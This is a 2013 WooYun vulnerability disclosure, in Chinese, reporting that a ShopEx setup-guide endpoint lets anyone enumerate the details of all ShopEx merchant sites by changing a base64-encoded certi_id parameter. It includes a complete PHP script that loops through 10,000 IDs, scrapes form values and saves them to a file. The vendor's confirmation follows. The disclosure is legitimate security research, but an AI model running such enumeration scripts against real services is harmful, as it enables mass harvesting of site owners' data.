当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033714

漏洞标题:ShopEx某接口缺陷可遍历所有用户网站

相关厂商:ShopEx

漏洞作者: viekst

提交时间:2013-08-07 10:30

修复时间:2013-09-21 10:31

公开时间:2013-09-21 10:31

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:7

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-07: 细节已通知厂商并且等待厂商处理中
2013-08-07: 厂商已经确认,细节仅向厂商公开
2013-08-17: 细节向核心白帽子及相关领域专家公开
2013-08-27: 细节向普通白帽子公开
2013-09-06: 细节向实习白帽子公开
2013-09-21: 细节向公众公开

简要描述:

ShopEx某接口缺陷,可遍历所有网站

详细说明:

问题出现在shopex 网店使用向导页面
http://guide.ecos.shopex.cn/step2.php?refer=eyJjZXJ0aV9pZCI6MTA1MSwiY2FsbGJhY2tfdXJsIjoiaHR0cDpcL1wvd3d3LmVrYWlkaWFuLmNvbVwvIn0=
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

<?php
for ($i=1; $i < 10000; $i++) { //遍历
ShowshopExD($i);
}
function ShowshopExD($cid) {
$url='http://guide.ecos.shopex.cn/step2.php';
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
$url = $url.'?refer='.$refer;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
$result = curl_exec($ch);
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
if(strpos($result,$refer))
{
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
foreach ($value[1] as $key) {
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
echo $res[1][0].':'.$res[3][0]."\r\n";
$col =$res[1][0].':'.$res[3][0]."\r\n";
fwrite($fp, $col, strlen($col));
}
echo '--------------------------------'."\r\n";
fclose($fp);
}
flush();
curl_close($ch);
}
?>

漏洞证明:

QQ截图20130807100758.jpg

修复方案:

refer换成其他加密方式

版权声明:转载请注明来源 viekst@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-08-07 10:45

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无